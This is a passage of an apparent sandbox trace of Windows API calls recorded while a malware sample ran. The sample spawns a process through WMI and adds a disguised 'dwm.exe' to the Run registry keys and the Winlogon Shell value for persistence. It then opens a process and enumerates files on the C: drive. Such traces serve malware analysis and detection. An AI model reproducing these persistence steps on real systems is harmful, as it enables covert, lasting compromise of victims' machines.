[4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b483798) returned 0x0 [0107.026] IMarshal:GetUnmarshalClass (in: This=0x1b483798, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0107.026] IUnknown:Release (This=0x1b483798) returned 0x3 [0107.026] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0107.026] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0107.026] IUnknown:Release (This=0x1b483790) returned 0x2 [0107.026] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0107.026] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0107.026] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0107.026] IUnknown:QueryInterface (in: This=0x1b483790, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0107.026] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0107.026] IUnknown:AddRef (This=0x1b483790) returned 0x3 [0107.026] IWbemClassObject:Put (This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b483790, varVal2=0x0), Type=0) returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0107.027] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.027] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.027] WbemLocator:IUnknown:AddRef (This=0x1b483e68) returned 0x3 [0107.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b483e68) returned 0x0 [0107.027] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x3 [0107.027] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x2 [0107.027] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.027] WbemLocator:IUnknown:AddRef (This=0x1b483e68) returned 0x3 [0107.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b483e68) returned 0x0 [0107.028] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x3 [0107.028] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x2 [0107.028] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0107.028] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0107.028] IWbemServices:ExecMethod (in: This=0x1b4b3ce0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x5f4590, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b470280, ppCallResult=0x0) returned 0x0 [0107.110] IWbemClassObject:Get (in: This=0x1b470280, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2696e10*=0, plFlavor=0x2696e14*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11e8, varVal2=0x0), pType=0x2696e10*=19, plFlavor=0x2696e14*=0) returned 0x0 [0107.110] IWbemClassObject:Get (in: This=0x1b470280, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2696e10*=19, plFlavor=0x2696e14*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11e8, varVal2=0x0), pType=0x2696e10*=19, plFlavor=0x2696e14*=0) returned 0x0 [0107.229] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2b0) returned 0x0 [0107.234] RegQueryValueExW (in: hKey=0x2b0, lpValueName="dwm", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0107.234] RegSetValueExW (in: hKey=0x2b0, lpValueName="dwm", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"", cbData=0x76 | out: lpData="\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"") returned 0x0 [0107.279] RegCloseKey (hKey=0x2b0) returned 0x0 [0107.279] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2b0) returned 0x0 [0107.280] RegQueryValueExW (in: hKey=0x2b0, lpValueName="dwm", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0107.280] RegSetValueExW (in: hKey=0x2b0, lpValueName="dwm", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"", cbData=0x76 | out: lpData="\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"") returned 0x0 [0107.280] RegCloseKey (hKey=0x2b0) returned 0x0 [0107.280] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2b0) returned 0x0 [0107.281] RegQueryValueExW (in: hKey=0x2b0, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x1a) returned 0x0 [0107.282] RegQueryValueExW (in: hKey=0x2b0, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x2697be0, lpcbData=0x1b30d8b0*=0x1a | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe", lpcbData=0x1b30d8b0*=0x1a) returned 0x0 [0107.283] RegQueryValueExW (in: hKey=0x2b0, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x1a) returned 0x0 [0107.283] RegSetValueExW (in: hKey=0x2b0, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"", cbData=0x92 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"") returned 0x0 [0107.327] RegCloseKey (hKey=0x2b0) returned 0x0 [0107.327] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xfc8) returned 0x2b0 [0107.327] GetExitCodeProcess (in: hProcess=0x2b0, lpExitCode=0x258a1d4 | out: lpExitCode=0x258a1d4*=0x103) returned 1 [0107.328] CoTaskMemAlloc (cb=0x404) returned 0x1b470530 [0107.328] QueryFullProcessImageNameA (in: hProcess=0x2b0, dwFlags=0x0, lpExeName=0x1b470530, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files\\Windows Defender\\ccv_server.exe", lpdwSize=0x1b30dda8) returned 1 [0107.328] CoTaskMemFree (pv=0x1b470530) [0107.330] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b7420 [0107.330] GetSystemDirectoryW (in: lpBuffer=0x1b4b7420, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0107.330] CoTaskMemFree (pv=0x1b4b7420) [0107.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0107.331] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0107.331] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48f550 [0107.331] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0107.335] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.335] FindClose (in: hFindFile=0x1b48f550 | out: hFindFile=0x1b48f550) returned 1 [0107.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0107.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0107.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0107.335] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0107.335] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f8b0 [0107.335] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.338] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x1b2373d6, ftLastAccessTime.dwHighDateTime=0x1d9b55d, ftLastWriteTime.dwLowDateTime=0x1b2373d6, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, 